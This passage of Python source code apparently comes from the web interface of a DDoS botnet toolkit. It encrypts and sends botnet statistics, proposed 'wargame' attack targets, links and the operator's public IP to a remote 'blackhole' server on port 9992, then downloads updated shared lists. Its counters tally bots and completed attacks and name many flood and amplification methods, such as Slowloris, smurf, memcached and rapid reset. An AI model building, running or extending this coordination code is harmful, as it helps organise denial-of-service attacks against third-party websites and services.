  6179. self.encrypt(grid_key, grid_transferred)
  6180. if self.encryptedtext:
  6181. grid_transferred = self.encryptedtext
  6182. self.encryptedtext = "" # clean encryptedtext buffer
  6183. grid_maxchargo = str(i[5])
  6184. self.encrypt(grid_key, grid_maxchargo)
  6185. if self.encryptedtext:
  6186. grid_maxchargo = self.encryptedtext
  6187. self.encryptedtext = "" # clean encryptedtext buffer
  6188. grid_missions = str(i[6])
  6189. self.encrypt(grid_key, grid_missions)
  6190. if self.encryptedtext:
  6191. grid_missions = self.encryptedtext
  6192. self.encryptedtext = "" # clean encryptedtext buffer
  6193. grid_attacks = str(i[7])
  6194. self.encrypt(grid_key, grid_attacks)
  6195. if self.encryptedtext:
  6196. grid_attacks = self.encryptedtext
  6197. self.encryptedtext = "" # clean encryptedtext buffer
  6198. grid_loic = str(i[8])
  6199. self.encrypt(grid_key, grid_loic)
  6200. if self.encryptedtext:
  6201. grid_loic = self.encryptedtext
  6202. self.encryptedtext = "" # clean encryptedtext buffer
  6203. grid_loris = str(i[9])
  6204. self.encrypt(grid_key, grid_loris)
  6205. if self.encryptedtext:
  6206. grid_loris = self.encryptedtext
  6207. self.encryptedtext = "" # clean encryptedtext buffer
  6208. grid_ufosyn = str(i[10])
  6209. self.encrypt(grid_key, grid_ufosyn)
  6210. if self.encryptedtext:
  6211. grid_ufosyn = self.encryptedtext
  6212. self.encryptedtext = "" # clean encryptedtext buffer
  6213. grid_spray = str(i[11])
  6214. self.encrypt(grid_key, grid_spray)
  6215. if self.encryptedtext:
  6216. grid_spray = self.encryptedtext
  6217. self.encryptedtext = "" # clean encryptedtext buffer
  6218. grid_smurf = str(i[12])
  6219. self.encrypt(grid_key, grid_smurf)
  6220. if self.encryptedtext:
  6221. grid_smurf = self.encryptedtext
  6222. self.encryptedtext = "" # clean encryptedtext buffer
  6223. grid_xmas = str(i[13])
  6224. self.encrypt(grid_key, grid_xmas)
  6225. if self.encryptedtext:
  6226. grid_xmas = self.encryptedtext
  6227. self.encryptedtext = "" # clean encryptedtext buffer
  6228. grid_nuke = str(i[14])
  6229. self.encrypt(grid_key, grid_nuke)
  6230. if self.encryptedtext:
  6231. grid_nuke = self.encryptedtext
  6232. self.encryptedtext = "" # clean encryptedtext buffer
  6233. grid_tachyon = str(i[15])
  6234. self.encrypt(grid_key, grid_tachyon)
  6235. if self.encryptedtext:
  6236. grid_tachyon = self.encryptedtext
  6237. self.encryptedtext = "" # clean encryptedtext buffer
  6238. grid_monlist = str(i[16])
  6239. self.encrypt(grid_key, grid_monlist)
  6240. if self.encryptedtext:
  6241. grid_monlist = self.encryptedtext
  6242. self.encryptedtext = "" # clean encryptedtext buffer
  6243. grid_fraggle = str(i[17])
  6244. self.encrypt(grid_key, grid_fraggle)
  6245. if self.encryptedtext:
  6246. grid_fraggle = self.encryptedtext
  6247. self.encryptedtext = "" # clean encryptedtext buffer
  6248. grid_sniper = str(i[18])
  6249. self.encrypt(grid_key, grid_sniper)
  6250. if self.encryptedtext:
  6251. grid_sniper = self.encryptedtext
  6252. self.encryptedtext = "" # clean encryptedtext buffer
  6253. grid_ufoack = str(i[19])
  6254. self.encrypt(grid_key, grid_ufoack)
  6255. if self.encryptedtext:
  6256. grid_ufoack = self.encryptedtext
  6257. self.encryptedtext = "" # clean encryptedtext buffer
  6258. grid_uforst = str(i[20])
  6259. self.encrypt(grid_key, grid_uforst)
  6260. if self.encryptedtext:
  6261. grid_uforst = self.encryptedtext
  6262. self.encryptedtext = "" # clean encryptedtext buffer
  6263. grid_droper = str(i[21])
  6264. self.encrypt(grid_key, grid_droper)
  6265. if self.encryptedtext:
  6266. grid_droper = self.encryptedtext
  6267. self.encryptedtext = "" # clean encryptedtext buffer
  6268. grid_overlap = str(i[22])
  6269. self.encrypt(grid_key, grid_overlap)
  6270. if self.encryptedtext:
  6271. grid_overlap = self.encryptedtext
  6272. self.encryptedtext = "" # clean encryptedtext buffer
  6273. grid_pinger = str(i[23])
  6274. self.encrypt(grid_key, grid_pinger)
  6275. if self.encryptedtext:
  6276. grid_pinger = self.encryptedtext
  6277. self.encryptedtext = "" # clean encryptedtext buffer
  6278. grid_ufoudp = str(i[24])
  6279. self.encrypt(grid_key, grid_ufoudp)
  6280. if self.encryptedtext:
  6281. grid_ufoudp = self.encryptedtext
  6282. self.encryptedtext = "" # clean encryptedtext buffer
  6283. grid_contact = str(i[25])
  6284. self.encrypt(grid_key, grid_contact)
  6285. if self.encryptedtext:
  6286. grid_contact = self.encryptedtext
  6287. self.encryptedtext = "" # clean encryptedtext buffer
  6288. grid_id = str(i[26]) # id (plain id)
  6289. l = str(grid_nickname) + "#?#" + str(grid_ranking) + "#?#" + str(grid_totalchargo) + "#?#" + str(grid_dorking) + "#?#" + str(grid_transferred) + "#?#" + str(grid_maxchargo) + "#?#" + str(grid_missions) + "#?#" + str(grid_attacks) + "#?#" + str(grid_loic) + "#?#" + str(grid_loris) + "#?#" + str(grid_ufosyn) + "#?#" + str(grid_spray) + "#?#" + str(grid_smurf)+ "#?#" + str(grid_xmas) + "#?#" + str(grid_nuke) + "#?#" + str(grid_tachyon) + "#?#" + str(grid_monlist) + "#?#" + str(grid_fraggle) + "#?#" + str(grid_sniper) + "#?#" + str(grid_ufoack) + "#?#" + str(grid_uforst) + "#?#" + str(grid_droper) + "#?#" + str(grid_overlap) + "#?#" + str(grid_pinger) + "#?#" + str(grid_ufoudp) + "#?#" + str(grid_contact) + "#?#" + str(grid_id)
  6290. f.write(l + os.linesep)
  6291. f.close()
  6292. except:
  6293. pass
  6294. if page == "/cmd_grid_filter_update":
  6295. if not os.path.exists('/tmp/out'):
  6296. open('/tmp/out', 'w').close()
  6297. with open('/tmp/out', 'r') as f:
  6298. self.pages["/cmd_grid_filter_update"] = "<pre>"+f.read()+"<pre>"
  6299. if page == "/cmd_transfer_grid":
  6300. self.pages["/cmd_transfer_grid"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6301. blackhole_ip = pGet["grid_source"]
  6302. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6303. try:
  6304. grid_key = pGet["grid_key"]
  6305. except:
  6306. grid_key = ""
  6307. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6308. if grid_key != "": # stream creation + encryption + package send
  6309. try:
  6310. grid_json_file = open(self.mothership_gridcfg_file, "r") # extract grid profile conf
  6311. grid_data = json.load(grid_json_file)
  6312. grid_json_file.close()
  6313. stats_json_file = open(self.mothership_stats_file, "r") # extract mothership stats
  6314. stats_data = json.load(stats_json_file)
  6315. stats_json_file.close()
  6316. nickname = grid_data["grid_nick"].encode('utf-8')
  6317. self.encrypt(grid_key, nickname)
  6318. if self.encryptedtext:
  6319. nickname = self.encryptedtext
  6320. self.encryptedtext = "" # clean encryptedtext buffer
  6321. ranking = self.ranking
  6322. if ranking == "Rookie":
  6323. ranking = 1
  6324. elif ranking == "Mercenary":
  6325. ranking = 2
  6326. elif ranking == "Bandit":
  6327. ranking = 3
  6328. elif ranking == "UFOmmander!":
  6329. ranking = 4
  6330. elif ranking == "UFOl33t!":
  6331. ranking = 5
  6332. else:
  6333. ranking = 1
  6334. self.encrypt(grid_key, str(ranking))
  6335. if self.encryptedtext:
  6336. ranking = self.encryptedtext
  6337. self.encryptedtext = "" # clean encryptedtext buffer
  6338. chargo = self.total_botnet
  6339. self.encrypt(grid_key, str(chargo))
  6340. if self.encryptedtext:
  6341. chargo = self.encryptedtext
  6342. self.encryptedtext = "" # clean encryptedtext buffer
  6343. dorking = stats_data["scanner"]
  6344. self.encrypt(grid_key, str(dorking))
  6345. if self.encryptedtext:
  6346. dorking = self.encryptedtext
  6347. self.encryptedtext = "" # clean encryptedtext buffer
  6348. transferred = stats_data["transferred"]
  6349. self.encrypt(grid_key, str(transferred))
  6350. if self.encryptedtext:
  6351. transferred = self.encryptedtext
  6352. self.encryptedtext = "" # clean encryptedtext buffer
  6353. max_chargo = stats_data["max_chargo"]
  6354. self.encrypt(grid_key, str(max_chargo))
  6355. if self.encryptedtext:
  6356. max_chargo = self.encryptedtext
  6357. self.encryptedtext = "" # clean encryptedtext buffer
  6358. missions = stats_data["missions"]
  6359. self.encrypt(grid_key, str(missions))
  6360. if self.encryptedtext:
  6361. missions = self.encryptedtext
  6362. self.encryptedtext = "" # clean encryptedtext buffer
  6363. attacks = stats_data["completed"]
  6364. self.encrypt(grid_key, str(attacks))
  6365. if self.encryptedtext:
  6366. attacks = self.encryptedtext
  6367. self.encryptedtext = "" # clean encryptedtext buffer
  6368. loic = stats_data["loic"]
  6369. self.encrypt(grid_key, str(loic))
  6370. if self.encryptedtext:
  6371. loic = self.encryptedtext
  6372. self.encryptedtext = "" # clean encryptedtext buffer
  6373. loris = stats_data["loris"]
  6374. self.encrypt(grid_key, str(loris))
  6375. if self.encryptedtext:
  6376. loris = self.encryptedtext
  6377. self.encryptedtext = "" # clean encryptedtext buffer
  6378. ufosyn = stats_data["ufosyn"]
  6379. self.encrypt(grid_key, str(ufosyn))
  6380. if self.encryptedtext:
  6381. ufosyn = self.encryptedtext
  6382. self.encryptedtext = "" # clean encryptedtext buffer
  6383. spray = stats_data["spray"]
  6384. self.encrypt(grid_key, str(spray))
  6385. if self.encryptedtext:
  6386. spray = self.encryptedtext
  6387. self.encryptedtext = "" # clean encryptedtext buffer
  6388. smurf = stats_data["smurf"]
  6389. self.encrypt(grid_key, str(smurf))
  6390. if self.encryptedtext:
  6391. smurf = self.encryptedtext
  6392. self.encryptedtext = "" # clean encryptedtext buffer
  6393. xmas = stats_data["xmas"]
  6394. self.encrypt(grid_key, str(xmas))
  6395. if self.encryptedtext:
  6396. xmas = self.encryptedtext
  6397. self.encryptedtext = "" # clean encryptedtext buffer
  6398. nuke = stats_data["nuke"]
  6399. self.encrypt(grid_key, str(nuke))
  6400. if self.encryptedtext:
  6401. nuke = self.encryptedtext
  6402. self.encryptedtext = "" # clean encryptedtext buffer
  6403. tachyon = stats_data["tachyon"]
  6404. self.encrypt(grid_key, str(tachyon))
  6405. if self.encryptedtext:
  6406. tachyon = self.encryptedtext
  6407. self.encryptedtext = "" # clean encryptedtext buffer
  6408. monlist = stats_data["monlist"]
  6409. self.encrypt(grid_key, str(monlist))
  6410. if self.encryptedtext:
  6411. monlist = self.encryptedtext
  6412. self.encryptedtext = "" # clean encryptedtext buffer
  6413. fraggle = stats_data["fraggle"]
  6414. self.encrypt(grid_key, str(fraggle))
  6415. if self.encryptedtext:
  6416. fraggle = self.encryptedtext
  6417. self.encryptedtext = "" # clean encryptedtext buffer
  6418. sniper = stats_data["sniper"]
  6419. self.encrypt(grid_key, str(sniper))
  6420. if self.encryptedtext:
  6421. sniper = self.encryptedtext
  6422. self.encryptedtext = "" # clean encryptedtext buffer
  6423. ufoack = stats_data["ufoack"]
  6424. self.encrypt(grid_key, str(ufoack))
  6425. if self.encryptedtext:
  6426. ufoack = self.encryptedtext
  6427. self.encryptedtext = "" # clean encryptedtext buffer
  6428. uforst = stats_data["uforst"]
  6429. self.encrypt(grid_key, str(uforst))
  6430. if self.encryptedtext:
  6431. uforst = self.encryptedtext
  6432. self.encryptedtext = "" # clean encryptedtext buffer
  6433. droper = stats_data["droper"]
  6434. self.encrypt(grid_key, str(droper))
  6435. if self.encryptedtext:
  6436. droper = self.encryptedtext
  6437. self.encryptedtext = "" # clean encryptedtext buffer
  6438. overlap = stats_data["overlap"]
  6439. self.encrypt(grid_key, str(overlap))
  6440. if self.encryptedtext:
  6441. overlap = self.encryptedtext
  6442. self.encryptedtext = "" # clean encryptedtext buffer
  6443. pinger = stats_data["pinger"]
  6444. self.encrypt(grid_key, str(pinger))
  6445. if self.encryptedtext:
  6446. pinger = self.encryptedtext
  6447. self.encryptedtext = "" # clean encryptedtext buffer
  6448. ufoudp = stats_data["ufoudp"]
  6449. self.encrypt(grid_key, str(ufoudp))
  6450. if self.encryptedtext:
  6451. ufoudp = self.encryptedtext
  6452. self.encryptedtext = "" # clean encryptedtext buffer
  6453. _new_vals = {}
  6454. for _name in ('memcached','chargen','cldap','ssdp','qotd','tftp','wsdisco','coap','mssql','arms','plex','netbios','ripv1','middlebox','slowread','goldeneye','rapidreset','finflood'):
  6455. _v = stats_data.get(_name, 0)
  6456. self.encrypt(grid_key, str(_v))
  6457. _new_vals[_name] = self.encryptedtext if self.encryptedtext else _v
  6458. self.encryptedtext = ""
  6459. contact = grid_data["grid_contact"].encode('utf-8')
  6460. self.encrypt(grid_key, str(contact))
  6461. if self.encryptedtext:
  6462. contact = self.encryptedtext
  6463. self.encryptedtext = "" # clean encryptedtext buffer
  6464. id = grid_data["grid_token"] # plain text
  6465. stream = str(nickname)+grid_msg_sep+str(ranking)+grid_msg_sep+str(chargo)+grid_msg_sep+str(dorking)+grid_msg_sep+str(transferred)+grid_msg_sep+str(max_chargo)+grid_msg_sep+str(missions)+grid_msg_sep+str(attacks)+grid_msg_sep+str(loic)+grid_msg_sep+str(loris)+grid_msg_sep+str(ufosyn)+grid_msg_sep+str(spray)+grid_msg_sep+str(smurf)+grid_msg_sep+str(xmas)+grid_msg_sep+str(nuke)+grid_msg_sep+str(tachyon)+grid_msg_sep+str(monlist)+grid_msg_sep+str(fraggle)+grid_msg_sep+str(sniper)+grid_msg_sep+str(ufoack)+grid_msg_sep+str(uforst)+grid_msg_sep+str(droper)+grid_msg_sep+str(overlap)+grid_msg_sep+str(pinger)+grid_msg_sep+str(ufoudp)+grid_msg_sep+str(_new_vals['memcached'])+grid_msg_sep+str(_new_vals['chargen'])+grid_msg_sep+str(_new_vals['cldap'])+grid_msg_sep+str(_new_vals['ssdp'])+grid_msg_sep+str(_new_vals['qotd'])+grid_msg_sep+str(_new_vals['tftp'])+grid_msg_sep+str(_new_vals['wsdisco'])+grid_msg_sep+str(_new_vals['coap'])+grid_msg_sep+str(_new_vals['mssql'])+grid_msg_sep+str(_new_vals['arms'])+grid_msg_sep+str(_new_vals['plex'])+grid_msg_sep+str(_new_vals['netbios'])+grid_msg_sep+str(_new_vals['ripv1'])+grid_msg_sep+str(_new_vals['middlebox'])+grid_msg_sep+str(_new_vals['slowread'])+grid_msg_sep+str(_new_vals['goldeneye'])+grid_msg_sep+str(_new_vals['rapidreset'])+grid_msg_sep+str(_new_vals['finflood'])+grid_msg_sep+str(contact)+grid_msg_sep+str(id)
  6466. try:
  6467. host = blackhole_ip
  6468. cport = 9992 # port used by mothership grider (server side script)
  6469. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6470. gs.settimeout(5.0)
  6471. gs.connect((host, cport))
  6472. gs.send(stream.encode())
  6473. gs.close()
  6474. try: # download latest grid after submit
  6475. grid = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/grid.txt').read().decode('utf-8')
  6476. f = open(self.grid_file, "w") # write updates to grid.txt
  6477. f.write(grid)
  6478. f.close()
  6479. except:
  6480. pass
  6481. grid_trans = "[Info] [AI] Statistics transferred! -> [OK!]\n"
  6482. except:
  6483. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  6484. except:
  6485. grid_trans = "[Error] [AI] Something wrong uploading statistics. Try it again...\n"
  6486. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6487. f = open("/tmp/out", "w")
  6488. f.write(grid_trans)
  6489. f.write(end_mark)
  6490. f.close()
  6491. if page == "/cmd_transfer_grid_update":
  6492. if not os.path.exists('/tmp/out'):
  6493. open('/tmp/out', 'w').close()
  6494. with open('/tmp/out', 'r') as f:
  6495. self.pages["/cmd_transfer_grid_update"] = "<pre>"+f.read()+"<pre>"
  6496. if page == "/cmd_transfer_wargame":
  6497. self.pages["/cmd_transfer_wargame"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6498. blackhole_ip = pGet["wargames_source2"]
  6499. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6500. try:
  6501. wargames_enckey = pGet["wargames_enckey"]
  6502. except:
  6503. wargames_enckey = ""
  6504. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6505. wargames_target = pGet["wargames_target"].replace(" ","/")
  6506. wargames_target=urllib.parse.unquote(wargames_target)
  6507. if wargames_target.startswith("http://") or wargames_target.startswith("https://"): # parse proposed target url
  6508. t = urlparse(wargames_target)
  6509. wargames_target = t.netloc
  6510. else:
  6511. wargames_trans = "[Error] [AI] Proposed target hasn't a correct format!. Try it again...\n"
  6512. wargames_enckey = ""
  6513. if wargames_target.startswith("www."):
  6514. wargames_target = wargames_target.replace("www.","")
  6515. wargames_estimated = pGet["wargames_estimated"]
  6516. try:
  6517. wargames_creation = strptime(wargames_creation, "%d-%m-%Y %H:%M:%S")
  6518. wargames_estimated = strptime(wargames_estimated, "%d-%m-%Y %H:%M:%S")
  6519. if (wargames_creation > wargames_estimated) == True: # parse bad dates
  6520. wargames_trans = "[Error] [AI] Date time should be major than creation time. Try it again...\n"
  6521. wargames_enckey = ""
  6522. except:
  6523. wargames_trans = "[Error] [AI] Date time is not using a correct format!. Try it again...\n"
  6524. wargames_enckey = ""
  6525. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6526. if wargames_enckey != "": # stream creation + encryption + package send
  6527. wargames_creation = strftime("%d-%m-%Y %H:%M:%S", wargames_creation)
  6528. wargames_estimated = strftime("%d-%m-%Y %H:%M:%S", wargames_estimated)
  6529. try:
  6530. self.encrypt(wargames_enckey, wargames_creation)
  6531. if self.encryptedtext:
  6532. wargames_creation = self.encryptedtext
  6533. self.encryptedtext = "" # clean encryptedtext buffer
  6534. self.encrypt(wargames_enckey, wargames_target)
  6535. if self.encryptedtext:
  6536. wargames_target = self.encryptedtext
  6537. self.encryptedtext = "" # clean encryptedtext buffer
  6538. self.encrypt(wargames_enckey, wargames_estimated)
  6539. if self.encryptedtext:
  6540. wargames_estimated = self.encryptedtext
  6541. self.encryptedtext = "" # clean encryptedtext buffer
  6542. stream = str(wargames_creation)+wargames_msg_sep+str(wargames_target)+wargames_msg_sep+str(wargames_estimated)
  6543. try:
  6544. host = blackhole_ip
  6545. cport = 9992 # port used by mothership grider (server side script)
  6546. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6547. gs.settimeout(5.0)
  6548. gs.connect((host, cport))
  6549. gs.send(stream.encode())
  6550. gs.close()
  6551. try: # download latest wargames after submit
  6552. wargames = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/wargames.txt').read().decode('utf-8')
  6553. f = open(self.wargames_file, "w") # write updates to wargames.txt
  6554. f.write(wargames)
  6555. f.close()
  6556. except:
  6557. pass
  6558. wargames_trans = "[Info] [AI] Wargame transferred! -> [OK!]\n"
  6559. except:
  6560. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6561. except:
  6562. wargames_trans = "[Error] [AI] Something wrong uploading wargame. Try it again...\n"
  6563. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6564. f = open("/tmp/out", "w")
  6565. f.write(wargames_trans)
  6566. f.write(end_mark)
  6567. f.close()
  6568. if page == "/cmd_transfer_wargame_update":
  6569. if not os.path.exists('/tmp/out'):
  6570. open('/tmp/out', 'w').close()
  6571. with open('/tmp/out', 'r') as f:
  6572. self.pages["/cmd_transfer_wargame_update"] = "<pre>"+f.read()+"<pre>"
  6573. if page == "/cmd_transfer_link":
  6574. self.pages["/cmd_transfer_link"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6575. blackhole_ip = pGet["link_source2"]
  6576. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6577. try:
  6578. link_enckey = pGet["link_enckey"]
  6579. except:
  6580. link_enckey = ""
  6581. link_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6582. link_url = pGet["link_url"].replace(" ","/")
  6583. link_url=urllib.parse.unquote(link_url)
  6584. if link_url.startswith("http://") or link_url.startswith("https://"): # parse proposed link
  6585. pass
  6586. else:
  6587. links_trans = "[Error] [AI] Proposed link hasn't a correct format!. Try it again...\n"
  6588. link_enckey = ""
  6589. if link_url.startswith("www."):
  6590. link_url = link_url.replace("www.","")
  6591. link_topic = pGet["link_topic"]
  6592. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6593. if link_enckey != "": # stream creation + encryption + package send
  6594. try:
  6595. self.encrypt(link_enckey, link_creation)
  6596. if self.encryptedtext:
  6597. link_creation = self.encryptedtext
  6598. self.encryptedtext = "" # clean encryptedtext buffer
  6599. self.encrypt(link_enckey, link_url)
  6600. if self.encryptedtext:
  6601. link_url = self.encryptedtext
  6602. self.encryptedtext = "" # clean encryptedtext buffer
  6603. self.encrypt(link_enckey, link_topic)
  6604. if self.encryptedtext:
  6605. link_topic = self.encryptedtext
  6606. self.encryptedtext = "" # clean encryptedtext buffer
  6607. stream = str(link_creation)+links_msg_sep+str(link_url)+links_msg_sep+str(link_topic)
  6608. try:
  6609. host = blackhole_ip
  6610. cport = 9992 # port used by mothership grider (server side script)
  6611. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6612. gs.settimeout(5.0)
  6613. gs.connect((host, cport))
  6614. gs.send(stream.encode())
  6615. gs.close()
  6616. try: # download latest links after submit
  6617. links = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/links.txt').read().decode('utf-8')
  6618. f = open(self.links_file, "w") # write updates to links.txt
  6619. f.write(links)
  6620. f.close()
  6621. except:
  6622. pass
  6623. links_trans = "[Info] [AI] Link transferred! -> [OK!]\n"
  6624. except:
  6625. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6626. except:
  6627. links_trans = "[Error] [AI] Something wrong uploading link. Try it again...\n"
  6628. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6629. f = open("/tmp/out", "w")
  6630. f.write(links_trans)
  6631. f.write(end_mark)
  6632. f.close()
  6633. if page == "/cmd_transfer_link_update":
  6634. if not os.path.exists('/tmp/out'):
  6635. open('/tmp/out', 'w').close()
  6636. with open('/tmp/out', 'r') as f:
  6637. self.pages["/cmd_transfer_link_update"] = "<pre>"+f.read()+"<pre>"
  6638. if page == "/cmd_transfer_stream":
  6639. self.pages["/cmd_transfer_stream"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6640. blackhole_ip = pGet["stream_source2"]
  6641. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6642. try:
  6643. stream_enckey = pGet["stream_enckey"]
  6644. except:
  6645. stream_enckey = ""
  6646. stream_creation = strftime("%d-%m-%Y %H:%M:%S", gmtime())
  6647. stream_url = pGet["stream_url"].replace(" ","/")
  6648. stream_url=urllib.parse.unquote(stream_url)
  6649. if stream_url.startswith("http://") or stream_url.startswith("https://"): # parse proposed stream
  6650. pass
  6651. else:
  6652. streams_trans = "[Error] [AI] Proposed stream hasn't a correct format!. Try it again...\n"
  6653. stream_enckey = ""
  6654. if stream_url.startswith("www."):
  6655. stream_url = stream_url.replace("www.","")
  6656. stream_topic = pGet["stream_topic"]
  6657. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6658. if stream_enckey != "": # stream creation + encryption + package send
  6659. try:
  6660. self.encrypt(stream_enckey, stream_creation)
  6661. if self.encryptedtext:
  6662. stream_creation = self.encryptedtext
  6663. self.encryptedtext = "" # clean encryptedtext buffer
  6664. self.encrypt(stream_enckey, stream_url)
  6665. if self.encryptedtext:
  6666. stream_url = self.encryptedtext
  6667. self.encryptedtext = "" # clean encryptedtext buffer
  6668. self.encrypt(stream_enckey, stream_topic)
  6669. if self.encryptedtext:
  6670. stream_topic = self.encryptedtext
  6671. self.encryptedtext = "" # clean encryptedtext buffer
  6672. stream = str(stream_creation)+streams_msg_sep+str(stream_url)+streams_msg_sep+str(stream_topic)
  6673. try:
  6674. host = blackhole_ip
  6675. cport = 9992 # port used by mothership grider (server side script)
  6676. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6677. gs.settimeout(5.0)
  6678. gs.connect((host, cport))
  6679. gs.send(stream.encode())
  6680. gs.close()
  6681. try: # download latest links after submit
  6682. streams = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/streams.txt').read().decode('utf-8')
  6683. f = open(self.streams_file, "w") # write updates to streams.txt
  6684. f.write(streams)
  6685. f.close()
  6686. except:
  6687. pass
  6688. streams_trans = "[Info] [AI] Stream transferred! -> [OK!]\n"
  6689. except:
  6690. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6691. except:
  6692. streams_trans = "[Error] [AI] Something wrong uploading stream. Try it again...\n"
  6693. end_mark = "\n[Info] [AI] End of transmission. -> [Refreshing!]"
  6694. f = open("/tmp/out", "w")
  6695. f.write(streams_trans)
  6696. f.write(end_mark)
  6697. f.close()
  6698. if page == "/cmd_transfer_stream_update":
  6699. if not os.path.exists('/tmp/out'):
  6700. open('/tmp/out', 'w').close()
  6701. with open('/tmp/out', 'r') as f:
  6702. self.pages["/cmd_transfer_stream_update"] = "<pre>"+f.read()+"<pre>"
  6703. if page == "/cmd_transfer_globalnet":
  6704. self.pages["/cmd_transfer_globalnet"] = "<pre>Waiting for 'blackhole' connection...</pre>"
  6705. blackhole_ip = pGet["globalnet_source2"]
  6706. globalnet_deckey = crypto_key
  6707. nodec_text = "*** [This message cannot be solved with that KEY...]"
  6708. blackhole_ip = urllib.parse.unquote(blackhole_ip)
  6709. blackhole_flag = False # used to check for repetitions
  6710. blackhole_ip_list = [] # used to check for repetitions
  6711. self.list_globalnet_rev = reversed(self.list_globalnet) # order by DESC
  6712. for m in self.list_globalnet_rev: # list = owner, comment, warping, ip
  6713. if globalnet_msg_sep in m:
  6714. m = m.split(globalnet_msg_sep)
  6715. globalnet_owner = m[0] # owner
  6716. self.decrypt(globalnet_deckey, globalnet_owner)
  6717. if self.decryptedtext:
  6718. globalnet_owner = self.decryptedtext
  6719. else:
  6720. globalnet_owner = nodec_text
  6721. self.decryptedtext = "" # clean decryptedtext buffer
  6722. globalnet_comment = m[1] # comment
  6723. self.decrypt(globalnet_deckey, globalnet_comment)
  6724. if self.decryptedtext:
  6725. globalnet_comment = self.decryptedtext
  6726. else:
  6727. globalnet_comment = nodec_text
  6728. self.decryptedtext = "" # clean decryptedtext buffer
  6729. globalnet_warp = m[2] # warp
  6730. self.decrypt(globalnet_deckey, globalnet_warp)
  6731. if self.decryptedtext:
  6732. globalnet_warp = self.decryptedtext
  6733. else:
  6734. globalnet_warp = nodec_text
  6735. if globalnet_warp == "OFF":
  6736. warp_color = "pink"
  6737. elif globalnet_warp == "ON1":
  6738. warp_color = "orange"
  6739. else: # ON2
  6740. warp_color = "blue"
  6741. self.decryptedtext = "" # clean decryptedtext buffer
  6742. globalnet_ip = m[3] # ip
  6743. self.decrypt(globalnet_deckey, globalnet_ip)
  6744. if self.decryptedtext:
  6745. globalnet_ip = self.decryptedtext
  6746. else:
  6747. globalnet_ip = nodec_text
  6748. self.decryptedtext = "" # clean decryptedtext buffer
  6749. if globalnet_ip == blackhole_ip: # only add NEW blackholes into the list
  6750. blackhole_flag = True
  6751. else:
  6752. if globalnet_ip in blackhole_ip_list:
  6753. blackhole_flag = True
  6754. else:
  6755. blackhole_ip_list.append(globalnet_ip)
  6756. try:
  6757. globalnet_enckey = pGet["globalnet_enckey"]
  6758. except:
  6759. globalnet_enckey = ""
  6760. globalnet_owner = pGet["globalnet_owner"]
  6761. if len(globalnet_owner) < 3 or len(globalnet_owner) > 12: # default owner
  6762. globalnet_owner = "Anonymous"
  6763. globalnet_comment = pGet["globalnet_comment"]
  6764. if len(globalnet_comment) < 3 or len(globalnet_comment) > 90: # default comment
  6765. globalnet_comment = "-"
  6766. globalnet_warp = pGet["globalnet_warp"]
  6767. globalnet_ip = "Unknown!"
  6768. for _svc in (check_ip_service1, check_ip_service2, check_ip_service3):
  6769. try:
  6770. _txt = requests.get(_svc, timeout=5).text.strip()
  6771. if re.match(r'^\d+\.\d+\.\d+\.\d+$', _txt):
  6772. globalnet_ip = _txt
  6773. break
  6774. except Exception:
  6775. continue
  6776. if blackhole_flag == False: # only add NEW blackholes/IPs into the list
  6777. if globalnet_enckey != "": # stream creation + encryption + package send
  6778. try:
  6779. self.encrypt(globalnet_enckey, globalnet_owner)
  6780. if self.encryptedtext:
  6781. globalnet_owner = self.encryptedtext
  6782. self.encryptedtext = "" # clean encryptedtext buffer
  6783. self.encrypt(globalnet_enckey, globalnet_comment)
  6784. if self.encryptedtext:
  6785. globalnet_comment = self.encryptedtext
  6786. self.encryptedtext = "" # clean encryptedtext buffer
  6787. self.encrypt(globalnet_enckey, globalnet_warp)
  6788. if self.encryptedtext:
  6789. globalnet_warp = self.encryptedtext
  6790. self.encryptedtext = "" # clean encryptedtext buffer
  6791. self.encrypt(globalnet_enckey, globalnet_ip)
  6792. if self.encryptedtext:
  6793. globalnet_ip = self.encryptedtext
  6794. self.encryptedtext = "" # clean encryptedtext buffer
  6795. stream = str(globalnet_owner)+globalnet_msg_sep+str(globalnet_comment)+globalnet_msg_sep+str(globalnet_warp)+globalnet_msg_sep+str(globalnet_ip)
  6796. try:
  6797. host = blackhole_ip
  6798. cport = 9992 # port used by mothership grider (server side script)
  6799. gs = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  6800. gs.settimeout(5.0)
  6801. gs.connect((host, cport))
  6802. gs.send(stream.encode())
  6803. gs.close()
  6804. try: # download latest globalnet after submit
  6805. globalnet = urllib.request.urlopen('http://'+blackhole_ip+'/ufonet/globalnet.txt').read().decode('utf-8')
  6806. f = open(self.globalnet_file, "w") # write updates to globalnet.txt
  6807. f.write(globalnet)
  6808. f.close()
  6809. except:
  6810. pass
  6811. globalnet_trans = "[Info] [AI] Location transferred! -> [OK!]\n"
  6812. except:
